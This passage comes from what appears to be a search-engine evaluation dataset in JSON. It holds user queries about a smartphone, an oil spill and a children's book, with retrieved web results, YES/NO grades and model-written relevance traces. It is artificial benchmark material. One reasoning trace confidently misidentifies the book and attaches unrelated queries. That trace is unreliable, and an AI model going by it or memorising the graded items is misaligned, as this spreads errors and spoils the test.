                "model_trace": "Query Decomposition:\n1. {latest news coverage and expert analysis of the phone's features}: The document provides an in-depth review of the Samsung Galaxy S24 Ultra, covering various features such as the display, design, camera, software, battery life, and performance -> ([1], SATISFIED)\n2. {performance}: The document includes information on the Snapdragon 8 Gen 3 performance -> ([1], SATISFIED)\n3. {how it compares to competing models on the market}: The document includes comparisons of the Samsung Galaxy S24 Ultra with other models like the iPhone 15 Pro Max -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to the query. It provides detailed information on the phone's features, performance, and comparisons with competing models. YES"
            },
            {
                "grade": "NO",
                "title": "The best 5G phones in 2024",
                "url": "https://www.tomsguide.com/best-picks/best-5g-phones",
                "published_date": null,
                "text": "Home\nBest Picks\nSmartphones\n(Image credit: Tom's Guide)\nIt's easier than ever to find the best 5G phones because 5G service now reaches far and wide. T-Mobile has the largest network, with its 5G service reaching 321 million people, but AT&amp;T and Verizon have been expanding their coverage as well. Even better, 5G speeds are picking up, so it makes more sense than ever to make sure your phone can connect to a 5G network. The good news is that most phones released these days do exactly that \u2014 and that even goes for budget models. It's true that all the major flagship phones support 5G, but so do less expensive options, meaning that for just a couple hundred dollars, you can get a device that takes advantage of 5G's high speed and low latency. In fact, these days you're more likely to see phones with 5G compatibility than LTE-only devices. That's why when you're searching for the best 5G phones, you're really just looking for the best phones. And now that 5G phones are more affordable, we can help you find a device that delivers good value. Our favorite 5G phones offer more than just speedier downloads. The best 5G phones also feature outstanding cameras, big displays and super-sized batteries.\u00a0Here are the best 5G phones available right now, at a wide range of prices.   Editor's note:   Samsung just announced the   Galaxy S23    series. Be sure to check out our   Galaxy S23 and Galaxy S23 Plus hands-on review   .  The best 5G phones you can buy right now  Why you can trust Tom's Guide \n \n Our expert reviewers spend hours testing and comparing products and services so you can choose the best for you. Find out more about how we test.       (Image credit: Tom's Guide)   Best 5G phone you can buy right now  Specifications  Screen Size: 6.7 inches Processor: A16 Bionic Size / weight: 6.3 x 3.1 x 0.3 inches / 8.5 ounces Battery life (Hrs:Mins): 14:42 5G networks supported: AT&amp;T, T-Mobile, Verizon    Reasons to buy +Superb 48MP camera\u00a0+Very smart Dynamic Island and handy always-on display+Best-in-class battery life",
                "model_trace": "Query Decomposition:\n1. {latest news coverage of the latest flagship smartphone}: The document does not provide news coverage of a newly unveiled flagship smartphone -> ([1], UNSATISFIED)\n2. {expert analysis of the phone's features and performance}: The document provides expert analysis of various 5G phones' features and performance, but not specifically the latest flagship smartphone -> ([1], UNSATISFIED)\n3. {comparison to competing models on the market}: The document compares various 5G phones but does not focus on the latest flagship smartphone -> ([1], UNSATISFIED)\n\nAssessment: None of the key subcomponents are satisfied. The document focuses on a general overview of 5G phones rather than the latest flagship smartphone and its detailed analysis. NO."
            }
        ]
    },
    {
        "query": "There have been reports of a massive oil spill off the coast of a small island nation, causing widespread environmental damage and disrupting the local fishing and tourism industries. I need to find the latest news updates on the scale of the spill, the cleanup efforts underway, and the potential long-term impact on the island's ecosystems and economy.",
        "grid_pos": [
            2,
            1
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a diverse range of topics, including:\n1. A major political scandal, requiring objective news coverage to understand the key details and competing narratives.\n2. A new science fiction novel release, needing reviews and commentary from respected critics.\n3. Travel information for an upcoming trip to Japan, requiring the latest news on restrictions and protocols.\n4. The launch of a new flagship smartphone, needing expert analysis of its features and performance.\n5. A major environmental disaster, requiring the latest news updates on the scale, response, and potential long-term impacts.\n\nThese queries are specific, detailed, and require a deep understanding of the context to provide satisfactory answers. They test Exa's capabilities in handling complex, nuanced information needs across a variety of domains."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Five months later, the Anc\u00f3n oil spill\u2019s effects linger",
                "url": "https://grist.org/climate/five-months-later-the-ancon-oil-spills-effects-linger/",
                "published_date": "2022-06-24",
                "text": "This story was originally published by Hakai Magazine and is reproduced here as part of the Climate Desk collaboration. \nThe port in Anc\u00f3n, just north of Lima, Peru, should be bustling. It\u2019s a cold and gray Friday morning, around the time when fishers should be returning to port and unloading their catch. But ever since January, when the Spanish oil company Repsol spilled 11,900 barrels of crude oil just off the coast \u2014 a spill the United Nations calls the worst environmental disaster in Peru\u2019s recent history \u2014 the port has come to an almost complete standstill.\nOn January 15, the oil tanker Mare Doricum released oil that, over the course of the month, spread over approximately 100 square kilometers \u2014 an area almost twice the size of Manhattan that includes two protected areas. Additionally, the oil contaminated an estimated 37,000 tons of sand.\nDespite initial outrage, the spill has been all but pushed out of the media cycle in a country that is undergoing a prolonged political crisis. Yet now, five months later, affected communities are still reeling. Though the Peruvian government is pursuing civil and criminal action against Repsol and other parties, fishers still can\u2019t go out to sea, and most of the traditional seafood eateries in Anc\u00f3n are closed. Across the region, the oil spill continues to be responsible for a slew of lingering effects.\nOne group that is still suffering are the fishers Repsol hired to help clean up the spill. Juan Carlos Riveros, scientific director in Peru for the international advocacy organization Oceana, says Repsol paid out-of-work fishers 50 soles, or $13 U.S. dollars, per day to clean up the soiled beaches. The company \u201cgave them nothing but a cotton suit, a surgical mask, and a garbage shovel,\u201d Riveros says. Some fishers claim to be experiencing symptoms of prolonged oil exposure, including rashes, headaches, and arthritis-like symptoms. \n\u201cWhat [Repsol] did was nothing short of criminal,\u201d says Riveros. (There is no official documentation on the aftereffects of the spill on the he",
                "model_trace": "Query Decomposition:\n1. {latest news updates on the scale of the spill}: The document provides detailed information about the scale of the spill, including the amount of oil spilled and the affected area -> ([1], SATISFIED)\n2. {cleanup efforts underway}: The document describes the cleanup efforts, including the involvement of local fishers and the inadequacies of the cleanup gear provided by Repsol -> ([1], SATISFIED)\n3. {potential long-term impact on the island's ecosystems and economy}: The document discusses the ongoing effects on the local fishing industry and seafood eateries, as well as health issues faced by fishers involved in the cleanup -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "NO",
                "title": "Fear of oil spill looms as merchant vessel sinks in Mangaluru",
                "url": "https://www.thehindu.com/news/cities/Mangalore/fear-of-oil-spill-looms-as-merchant-vessel-sinks/article65557760.ece",
                "published_date": "2022-06-23",
                "text": "The crew members of mv Princess Miral who were rescued by the Coast Guard on June 21\n| Photo Credit: Special Arrangement\n The merchant vessel, Princess Miral, which ran aground five nautical miles off the city on June 21 following damage to its hull, sank on June 23 near Batpady, according to Dakshina Kannada Deputy Commissioner K.V. Rajendra. Dr. Rajendra, who heads the District Disaster Management Committee, appointed on June 23, Karnataka Coast Guard Commander and Deputy Inspector-General S.B. Venkatesh as Incident Commander to take steps for preventing likely oil spill from the sunken vessel. Coast Guard personnel had rescued 15 Syrian marine crew as they abandoned the vessel following ingress of water on June 21. \u201cPreliminary survey is being conducted by a private agent (Smith, an expert company from Singapore) to decide how to de-fuel the vessel and what to do with the ship,\u201d Dr. Rajendra said. The Deputy Commissioner on June 23 chaired a meeting of the Disaster Management Committee in which all stakeholders, including those from New Mangalore Port Authority (NMPA), Coast Guard, Karnataka State Pollution Control Board, participated. \u201cCoast Guard is the nodal agency that handles oil spill and other environmental impact resulting from incidents in deep sea. Hence, we appointed Mr. Venkatesh as Incident Commander,\u201d he said. During the meeting, Dr. Rajendra said that it has been submitted that the agency associated with the merchant vessel has dispatched personnel to the spot to remove furnace and engine oil from the sunken vessel and prevent possible oil spill. \u201cOil spill is unlikely. But we are preparing for the worst likely scenario,\u201d he said. Neighbouring Kasaragod district (Kerala) has also been alerted about the incident. The Department of Fisheries has been asked to alert fishermen against undertaking fishing around the area where the vessel has sunk. The Karnataka State Pollution Control Board has been directed to test samples of sea water at regular intervals. NMPA and Mangalore Refinery and Petrochemi",
                "model_trace": "Query Decomposition:\n1. {Latest news updates on the scale of the spill}: The document provides information about a potential oil spill from a sunken vessel, but it does not confirm an actual spill or its scale -> ([1], UNSATISFIED)\n2. {Cleanup efforts underway}: The document mentions preliminary surveys and steps being taken to prevent a spill, including appointing an Incident Commander and dispatching personnel to remove oil from the vessel -> ([1], SATISFIED)\n3. {Potential long-term impact on the island's ecosystems and economy}: The document does not discuss the long-term impact on ecosystems or the economy -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Latest news updates on the scale of the spill} and {Cleanup efforts underway}. Since the document does not confirm the scale of the spill, it does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "Mangaluru: Indian Coast Guard monitoring oil spill from sunken ship MV Princess Miral",
                "url": "https://www.daijiworld.com/news/newsDisplay?newsID=972629",
                "published_date": "2022-06-25",
                "text": "Media Release \n Mangaluru, Jun 25: Officials of the Indian Coast Guard (ICG) continued to monitor the situation around the grounded merchant ship MV Princess Miral of New Mangalore for any probable leakage of oil from the ship.\nAlong with district administration and other stakeholders, it is also being coordinated for shoreline clean-up in case of any oil spill. Constant surveillance has been undertaken by Coast Guard aircraft and ships in the area around the vessel and onshore for pollution response since June 21.\n\nA fully equipped Pollution Control Vessel, ICGS Samudra Pavak from Porbandar, arrived on Saturday June 25 morning off New Mangalore and joined the pollution response operation at sea along with ICG ships and aircraft.\nAs of date, 9 ships of Coast Guard and resource agencies, and 3 Coast Guard aircraft are on task for assessment and monitoring the sea area of New Mangalore.\nThese assets are continuing the necessary preventive measures. Netravati river is in close proximity of the vessel which is grounded close to shore therefore as a precautionary measure, the river mouth has been barricaded from the seawards side using inflatable booms so as to prevent containment of the river in case of any leakage of oil from the ship.\nCoast Guard Pollution Response team and experts are continuously analysing the situation and also assisting the state administration and New Mangalore Port Authorities by conducting pollution response operation and shoreline clean-up training sessions and mock drills.\n\nMangaluru: Cargo ship M V Princess Miral from which Syrians were rescued sinks \n Mangaluru: Rescued Syrian crew handed over to Nelamangala detention centre\n\nTop Stories",
                "model_trace": "Query Decomposition:\n1. {Latest news updates on the scale of the spill}: The document provides information on monitoring and preventive measures but does not clearly state the scale of the spill -> ([1], UNSATISFIED)\n2. {Cleanup efforts underway}: The document details the cleanup efforts, including the deployment of ships, aircraft, and pollution control vessels -> ([1], SATISFIED)\n3. {Potential long-term impact on the island's ecosystems and economy}: The document does not discuss the potential long-term impact on ecosystems or the economy -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to cleanup efforts but does not provide information on the scale of the spill or the long-term impacts. Therefore, it is not fully helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Exxon Valdez | Oil Spills",
                "url": "https://darrp.noaa.gov/oil-spills/exxon-valdez",
                "published_date": null,
                "text": "Oil Spill | Prince William Sound, Alaska | March 1989\nWhat Happened?\nOn March 24, 1989 the oil tanker Exxon Valdez ran aground in Prince William Sound, Alaska, spilling 11 million gallons of oil. The ecologically sensitive location, season of the year, and large scale of this spill resulted in one of the largest environmental disasters in U.S. history.\nExxon settled in 1991 with funds disbursed in three discrete parts: criminal plea agreement ($25 million), criminal restitution ($100 million), and civil settlement ($900 million).\nWhat Were the Impacts?\nThe spill affected more than 1,300 miles of shoreline, with immense impacts for fish and wildlife and their habitats, as well as for local industries and communities.\nThe oil killed:\n An estimated 250,000 seabirds\n2,800 sea otters\n300 harbor seals\n250 bald eagles\nAs many as 22 killer whales\nBillions of salmon and herring eggs\n More than 25 years since the spill, the following species remain in a \u201cNot Recovering\u201d or \u201cUnknown\u201d status:\n Killer whales (family group known as pod AT1)\nKittlitz\u2019s murrelets\nMarbled murrelets\nPigeon guillemots\n What\u2019s Happening Now?\nSettlement funds have been used to fund multiple restoration and protection projects throughout Prince William Sound, the Gulf of Alaska, and for habitats outside of the state that are important for migratory species. More than 600,000\u00a0acres of land have been protected using settlement funds and matching funds from numerous restoration, research, and monitoring programs.\nCurrent restoration activities are focused on:\n Long-term herring research and monitoring\nLong-term monitoring of marine conditions and injured resources\nShorter-term harbor protection and restoration projects\nLingering oil\nHabitat protection\n Long-term monitoring of marine conditions and restoration effectiveness is ongoing.\nUltimately, the Exxon Valdez spill resulted in a close examination of the status of oil spill prevention, response, and cleanup in the United States. One result was the passage of the Oil Pollution Act of 1990, which\u00a0led to",
                "model_trace": "Query Decomposition:\n1. {latest news updates on the scale of the spill}: The document does not provide the latest news updates; it is about the Exxon Valdez spill from 1989 -> ([0], UNSURE)\n2. {cleanup efforts underway}: The document discusses past cleanup efforts for the Exxon Valdez spill, not current efforts for a new spill -> ([1], UNSATISFIED)\n3. {potential long-term impact on the island's ecosystems and economy}: The document discusses long-term impacts of the Exxon Valdez spill, which might offer some relevant insights but is not directly about the new spill -> ([2], UNSURE)\n\nAssessment: The document does not provide information on the latest news updates or current cleanup efforts for the new spill. The potential long-term impacts discussed are specific to the Exxon Valdez spill and may not be directly applicable to the user's query about a new spill. Therefore, the document does not satisfy the key subcomponents relevant to the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Oil spills",
                "url": "https://www.noaa.gov/education/resource-collections/ocean-coasts/oil-spills",
                "published_date": null,
                "text": "Oil is an ancient fossil fuel that we use to heat our homes, generate electricity, and power large sectors of our economy. But when oil accidentally spills into the ocean, it can cause big problems. Oil spills can harm sea creatures, ruin a day at the beach, and make seafood unsafe to eat. It takes sound science to clean up the oil, measure the impacts of pollution, and help the ocean recover.\n \n \n \n \n \n \n \n \n \n \nWhat is oil?\nCrude oil, the liquid remains of ancient plants and animals, is a fossil fuel that is used to make a wide range of fuels and products. Oil is found below ground or below the ocean floor in reservoirs, where oil droplets reside in \u201cpores\u201d or holes in the rock. After drilling down and pumping out the crude oil, oil companies transport it by pipes, ships, trucks, or trains to processing plants called refineries. There it is refined so it can be made into different petroleum products, including gasoline and other fuels as well as products like asphalt, plastics, soaps, and paints.\n \n \n \n \n \n \n \n \n In the decade since the largest oil spill in American history, scientists have advanced lessons learned during the Deepwater Horizon response and assessment to prepare for future oil spill disasters. \n \n \n \n \nHow do oil spills happen?\nOil spills are more common than you might think, and they happen in many different ways. Thousands of oil spills occur in U.S. waters each year. Most of these spills are small, for example when oil spills while refueling a ship. But these spills can still cause damage, especially if they happen in sensitive environments, like beaches, mangroves, and wetlands.\nLarge oil spills are major, dangerous disasters. These tend to happen when pipelines break, big oil tanker ships sink, or drilling operations go wrong. Consequences to ecosystems and economies can be felt for decades following a large oil spill.\nWhere do oil spills happen?\nOil spills can happen anywhere oil is drilled, transported, or used. When oil spills happen in the ocean, in the Great Lakes, on the shore, or in ",
                "model_trace": "Query Decomposition:\n1. {latest news updates on the scale of the spill}: The document does not provide any specific news updates about a recent oil spill -> ([0], UNSATISFIED)\n2. {cleanup efforts underway}: The document discusses general information about oil spill cleanup but does not provide specific details about current efforts -> ([1], UNSATISFIED)\n3. {potential long-term impact on the island's ecosystems and economy}: The document mentions the long-term impact of oil spills on ecosystems and economies in general but does not provide specific information about the current spill -> ([1], UNSATISFIED)\n\nAssessment: The document provides general information about oil spills, their causes, and their impacts, but it does not provide specific updates or details about the current oil spill incident mentioned in the query. Therefore, it does not satisfy the subcomponents related to the user's intent to find the latest news and specific details about the current spill. NO."
            },
            {
                "grade": "NO",
                "title": "Understanding Oil Spills And Oil Spill Response",
                "url": "https://www.epa.gov/sites/default/files/2018-01/documents/ospguide99.pdf",
                "published_date": null,
                "text": "Understanding Oil Spills\nAnd Oil Spill Response\nUnited States Office of Emergency EPA 540-K-99-007\nEnvironmental Protection And Remedial OSWER 9200.5-104A\nAgency Response PB2000-963401\nDecember 1999\nOil Program Center\nUnderstanding Oil Spills\nIn Freshwater Environments\nUnderstanding Oil Spills\nIn Freshwater Environments\nEPA Office of Emergency and Remedial Response \u2022 1\nOIL SPILLS endanger public health, imperil drinking water, devastate natural resources, and\ndisrupt the economy. In an increasingly technological era, the United States has become more\ndependent upon oil-based products to help us maintain our high standard of living. Products\nderived from petroleum, such as heating oil and gasoline, provide fuel for our automobiles, heat\nfor our homes, and energy for the machinery used in our industries. Other products derived\nfrom petroleum, including plastics and pharmaceuticals, provide us with convenience and help\nto make our lives more comfortable.\nAdditionally, non-petroleum oils, such as vegetable oils and animal fats, are increasingly being\nconsumed in the United States. These oils can contain toxic components and can produce\nphysical effects that are similar to petroleum oils. Because they have toxic properties and\nproduce harmful physical effects, spills of non-petroleum oils also pose threats to public health\nand the environment.\nBecause we use vast quantities of oils, they are usually stored and transported in large volumes.\nDuring storage or transport, and occasionally as the result of exploration activities, oils and other\noil-based products are sometimes spilled onto land or into waterways. When this occurs, human\nhealth and environmental quality are put at risk. Every effort must be made to prevent oil spills\nand to clean them up promptly once they occur.\nThe U.S. Environmental Protection Agency\u2019s Oil Spill Program plays an important role in\nprotecting the environment through prevention of, preparation for, and response to oil spills.\nSeveral U.S. EPA offices and other organizations deserve special ",
                "model_trace": "Query Decomposition:\n1. {latest news updates on the scale of the spill}: This document does not provide the latest news updates on any specific oil spill -> ([0], UNSATISFIED)\n2. {cleanup efforts underway}: This document provides general information on oil spill response but not specific cleanup efforts for a particular spill -> ([2], UNSATISFIED)\n3. {potential long-term impact on the island's ecosystems and economy}: This document discusses general impacts of oil spills but not specific impacts on a particular island's ecosystems and economy -> ([2], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents related to the latest news updates, specific cleanup efforts, or potential long-term impacts for the particular oil spill mentioned in the query. NO."
            }
        ]
    },
    {
        "query": "1. I remember reading this book as a kid about a young girl who finds a magic necklace that lets her talk to animals. The book had a lot of descriptions of the girl exploring the forest and the different animals she meets. It was a fantasy/adventure story, not a picture book. I think the girl's name started with an A or E. Can you help me find the title and author of that book?",
        "grid_pos": [
            2,
            2
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "1. The book the user is describing sounds like \"The Secret of Platform 13\" by Eva Ibbotson, a fantasy novel about a young girl named Odge who finds a magical gateway to a parallel world and befriends various talking animals.\n\n2. The user is looking for an analysis of the political themes and symbolism in the TV show The Mandalorian, particularly how it relates to real-world politics and the conflict between the New Republic and the remnants of the Empire. The analysis should also touch on the show's depiction of Mandalorian culture and warrior traditions.\n\n3. The user is looking for a personal essay or Substack post written by someone who grew up in a family deeply involved in the competitive video gaming scene. The essay should provide an insider's perspective on the experiences of traveling to tournaments, the intense training and preparation required, and how that lifestyle shaped the author's identity and relationships.\n\n4. The user is looking for a blog post or article that provides a deep dive into the cultural and historical influences behind the cuisine of a specific region or country, exploring how factors like geography, trade routes, religious practices, and social structures have contributed to the development of unique dishes, ingredients, and cooking techniques over time.\n\n5. The user is looking for a personal essay or Substack post written by a lifelong fan of a particular book series or film franchise. The essay should explore the emotional connection the author has to the characters and story, how the work has impacted their life, and why it has remained meaningful to them over the years."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "How To Sell By Magic by Frances Marshall",
                "url": "https://www.lybrary.com/-p-922464.html",
                "published_date": "2023-02-21",
                "text": "This manuscript was published as a guide and a handbook to the exciting field of industrial magic. This may be the blueprint for a brand new career for you. See what experienced performers in the past have done. You can make magic pay big dividends when it is used as: A crowd stopper in Trade Shows and Convention booths, in Super Markets, Grand Openings. To capture attention in sales and pep meetings, to put over the commercial in merchandising shows. To put color, life, excitement into any talk on any subject. To make any speaker \"come alive\". In commercials on TV. This ebook tells what to do and how to do it.\n\nInformation on how to get into this work and make it pay. Dozens of commercial presentations and routines of magic tricks. Nine pages of tricks in categories for various types of business - most valuable. How one million Pixie cigarettes were sold - every detail to show you how this fantastic magic business works.\n\nEven if you are now a millionaire, it's still fun to read!\n\nForeword\n MONEY FROM MAGIC\n TO WHOM IT MAY CONCERN\n HOW IT WORKS\n AND NOW FOR THE TRICKS\n The Zipper Banana\n Match to Flower\n Milk Pitcher and Re-Appearance of the Milk\n Repeat Bill Trick\n Clippo\n Tall Gro Flower\n Lota\n The Reel\n Appearance of Messages\n Folding Die\n Production of the Product\n The Flip Over Box\n The Spook Hand\n The Electric Bulbs\n Money\n Condenso\n Dehydrated Milk\n Candy Maker\n Soft Soap\n Linking Ropes\n Bending Flower\n Rubber Circus\n The Blue Phantom\n Checkers, Rice and Orange\n The Right Trick for the Business\n Ideas for Booth Work\n The Voice of Experience\n DOYNE E. MICHIE\n DR. ZUKO\n\n1st edition 1958, 64 pages; 1st digital edition 2018, 63 pages. word count: 24179 which is equivalent to 96 standard pages of text",
                "model_trace": "Query Decomposition:\n1. {Book about a young girl who finds a magic necklace that lets her talk to animals}: The document is about a manuscript on industrial magic, not a book about a young girl with a magic necklace -> ([1], UNSATISFIED)\n2. {Fantasy/adventure story}: The document is about industrial magic, not a fantasy/adventure story -> ([1], UNSATISFIED)\n3. {Girl's name starting with A or E}: The document does not provide information about a character's name -> ([0], UNSURE)\n\nAssessment: The document does not satisfy any of the relevant subcomponents related to the user's query. It is about industrial magic and not a fantasy/adventure story about a young girl with a magic necklace. NO."
            },
            {
                "grade": "NO",
                "title": "Names on the Land: A Historical Account of Place-Naming in the United States (Paperback)",
                "url": "https://www.portersquarebooks.com/book/9781590172735",
                "published_date": "2008-07-01",
                "text": "$24.95\n\nOn Our Shelves Now\n\nCambridge Edition\n\n1 on hand,\n as of Feb 5 11:05pm\n\n(805 GENERAL US HISTORY)\n\nDescription\n\nGeorge R. Stewart\u2019s classic study of place-naming in the United States was written during World War II as a tribute to the varied heritage of the nation\u2019s peoples. More than half a century later, Names on the Land remains the authoritative source on its subject, while Stewart\u2019s intimate knowledge of America and love of anecdote make his book a unique and delightful window on American history and social life. Names on the Land is a fascinating and fantastically detailed panorama of language in action. Stewart opens with the first European names in what would later be the United States\u2014Ponce de Le\u00f3n\u2019s flowery Flor\u00edda, Cort\u00e9s\u2019s semi-mythical isle of California, and the red Rio Colorado\u2014before going on to explore New England, New Amsterdam, and New Sweden, the French and the Russian legacies, and the unlikely contributions of everybody from border ruffians to Boston Brahmins. These lively pages examine where and why Indian names were likely to be retained; nineteenth-century fads that gave rise to dozens of Troys and Athens and to suburban Parksides, Brookmonts, and Woodcrest Manors; and deep and enduring mysteries such as why \u201cArkansas\u201d is Arkansaw, except of course when it isn\u2019t. Names on the Land will engage anyone who has ever wondered at the curious names scattered across the American map. Stewart\u2019s answer is always a story\u2014one of the countless stories that lie behind the rich and strange diversity of the USA. \n About the Author\n\nGeorge R. Stewart (1895\u20141980) was born in Pennsylvania and educated at Princeton. He received his Ph.D. in English literature from Columbia University in 1922, and joined the English faculty at the University of California, Berkeley, in 1924. He was a toponymist, founding member of the American Name Society, and a prolific and highly successful writer of novels and of popular nonfiction, especially dealing with U.S. history and with the American West. \n Praise For\u2026\n\n\u201cA ",
                "model_trace": "Query Decomposition:\n1. {Book about a young girl who finds a magic necklace that lets her talk to animals}: This document is about a historical account of place-naming in the United States, not a fantasy/adventure story -> ([1], UNSATISFIED)\n2. {Descriptions of the girl exploring the forest and meeting different animals}: The document does not contain any information about a girl exploring the forest or meeting animals -> ([1], UNSATISFIED)\n3. {Fantasy/adventure story, not a picture book}: The document is about a non-fiction historical account, not a fantasy/adventure story -> ([1], UNSATISFIED)\n4. {Girl's name starting with an A or E}: The document does not provide any information about a character's name -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Book about a young girl who finds a magic necklace that lets her talk to animals}, {Descriptions of the girl exploring the forest and meeting different animals}, and {Fantasy/adventure story, not a picture book}. Since none of these subcomponents are satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Scientific Betting by unknown",
                "url": "https://www.lybrary.com/-p-922178.html",
                "published_date": "2023-02-20",
                "text": "This is an exceptionally good ebook on odds and percentages of various popular games including horse races.\n\nPurpose Of This Book\n Chances Involved In Tossing Coins\n Dice Throwing And Craps\n Combinations And Chances With Dice\n Casino Dice\n Matching Games With Coins\n Probability Of Repetitions\n Roulette\n Draw Poker\n Chuck-O-Luck\n Hazard\n The Big Six\n The Slot Machine\n Chances In Horse Racing\n Systems And Fallacies\n Why The Bank Invariably Wins\n\n1st edition 1947, 120 pages; PDF 87 pages. word count: 23856 which is equivalent to 95 standard pages of text",
                "model_trace": "Query Decomposition:\n1. {book about a young girl who finds a magic necklace that lets her talk to animals}: This document is about a book on scientific betting, not a fantasy/adventure story -> ([1], UNSATISFIED)\n2. {descriptions of the girl exploring the forest and the different animals she meets}: This document does not contain any such descriptions -> ([1], UNSATISFIED)\n3. {fantasy/adventure story}: This document is about betting, not a fantasy/adventure story -> ([1], UNSATISFIED)\n4. {girl's name starting with an A or E}: This document does not mention any character names -> ([0], UNSURE)\n\nAssessment: The document does not satisfy any of the relevant subcomponents. NO."
            },
            {
                "grade": "YES",
                "title": "Novel: little girl holding a green stone that gave her the ...",
                "url": "https://scifi.stackexchange.com/questions/206801/novel-little-girl-holding-a-green-stone-that-gave-her-the-ability-to-talk-to-an",
                "published_date": null,
                "text": "The Land of Elyon, by Patrick Carman \n \nFrom Amazon:\nAn extraordinary debut weaving magic and heroism into a classic tale of good and evil, featuring a heroine you'll never forget.\nInquisitive twelve-year-old Alexa Daley is spending another summer in the walled town of Bridewell. This year, she is set on solving the mystery of what lies beyond the walls. Legend says the walls were built to keep out an unnamed evil that lurks in the forests and The Dark Hills. But what exactly is it that the townspeople are so afraid of?\nAs Alexa begins to unravel the truth, pushing beyond the protective barrier she's lived behind all her life, she discovers a strange and ancient enchantment -- and exposes a danger that could destroy everything she holds dear.\nAt the beginning of the first book, her mentor, Thomas Warvold, \"dies\", and it's later revealed that he faked his death later on in the series.\nThe green stone pictured on the cover stone gives her the ability to talk to animals.\nFrom Wikipedia:\nThe book starts by Alexa going on a walk through the streets of Bridewell with her adventurer friend Thomas Warvold. During the stroll, Warvold tells Alexa a fable that he heard on one of his far-off journeys. When the fable is finished, Alexa finds that Warvold is dead.\nLater on, Alexa uses the silver key to open a passageway hidden behind her favorite nook. At the end of the passageway, outside the wall, Alexa is greeted by a short man named Yipes, who seems to have been waiting for her. Alexa follows Yipes up Mount Norwood and comes to a glowing pond. Inside the pond, she finds a green stone. Once she puts it in her leather pouch, Yipes takes her to his house. Waking up from her sleep, Alexa finds that she has the ability to talk to animals. Darius, a wolf separated from his family, leads her to a tunnel under the walled road between Lathbury and Bridewell.\nI identified this story by recognizing it :)",
                "model_trace": "Query Decomposition:\n1. {Book about a young girl who finds a magic necklace that lets her talk to animals}: The document describes a book where a girl named Alexa finds a green stone that gives her the ability to talk to animals -> ([1], SATISFIED)\n2. {Descriptions of the girl exploring the forest and meeting different animals}: The document mentions Alexa exploring beyond the walls, encountering animals and various adventures -> ([1], SATISFIED)\n3. {Fantasy/adventure story, not a picture book}: The document describes the book as a fantasy/adventure story -> ([1], SATISFIED)\n4. {Girl's name starts with an A or E}: The girl's name is Alexa, which starts with an A -> ([1], SATISFIED)\n5. {Title and author of the book}: The document provides the title \"The Land of Elyon\" and the author Patrick Carman -> ([1], SATISFIED)\n\nAssessment: All subcomponents tagged with [1] are SATISFIED. The document provides a detailed description that matches the query and includes the title and author of the book.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "The Enchanted Forest",
                "url": "https://www.story.com/story/children-stories/the-enchanted-forest-1350",
                "published_date": null,
                "text": "The Enchanted Forest By Donisete silva Created on 29 Sep, 2023       Once upon a time, in a small village, lived a young girl named Lily. She was known for her adventurous spirit and vivid imagination. One day, she discovered a hidden path leading to an enchanted forest.       As Lily stepped into the forest, she was greeted by a chorus of birdsong. The forest was filled with vibrant colors and shimmering light. She could hear the rustling of leaves and the distant sound of a river.       Suddenly, a friendly squirrel scampered up to Lily. It stood on its hind legs, looked at her with bright eyes, and started to talk! She was astonished but delighted.       The squirrel introduced itself as Nutty and welcomed Lily to the enchanted forest. Nutty explained that all animals in the forest could talk, thanks to the forest's magical aura.       Lily and Nutty became fast friends. They explored the forest, visiting hidden glades, sparkling streams, and ancient trees. Lily was fascinated by the forest's wonders and the friendly animals she met.       One day, Nutty told Lily about a great mystery. There was an ancient tree in the forest, the oldest and largest of all. It was said to possess a hidden treasure.       Lily was intrigued. She loved mysteries and the promise of treasure was too tempting to resist. With Nutty by her side, she decided to find the ancient tree and its hidden treasure.       Their journey was filled with challenges. They had to cross a fast-flowing river, navigate a thorny bush, and climb a steep hill. But Lily's adventurous spirit and Nutty's forest knowledge helped them overcome all obstacles.       Finally, they reached the ancient tree. It was magnificent, with its large trunk and branches reaching out like giant arms. They could feel a magical aura surrounding it.       As they approached the tree, they noticed a small door at the base of the trunk. Lily carefully opened the door, revealing a hidden chamber inside the tree.       Inside the chamber, they found an old chest. With excited anti",
                "model_trace": "Query Decomposition:\n1. {Book about a young girl who finds a magic necklace that lets her talk to animals}: This document describes a story about a young girl named Lily who can talk to animals due to the forest's magical aura, not a magic necklace -> ([1], UNSATISFIED)\n2. {Descriptions of the girl exploring the forest and meeting different animals}: The document contains descriptions of Lily exploring the forest and meeting different animals -> ([1], SATISFIED)\n3. {Fantasy/adventure story, not a picture book}: The document describes a fantasy/adventure story, and there is no indication that it is a picture book -> ([1], SATISFIED)\n4. {Girl's name starts with an A or E}: The girl's name in the document is Lily, which does not start with an A or E -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Descriptions of the girl exploring the forest and meeting different animals} and {Fantasy/adventure story, not a picture book}. Since the document does not satisfy the key subcomponent about the magic necklace or the girl's name starting with an A or E, it is not helpful for identifying the book the user is looking for. NO."
            },
            {
                "grade": "YES",
                "title": "What's the Name of That Book??? Group (110632 Members)",
                "url": "https://www.goodreads.com/group/show/185-what-s-the-name-of-that-book",
                "published_date": null,
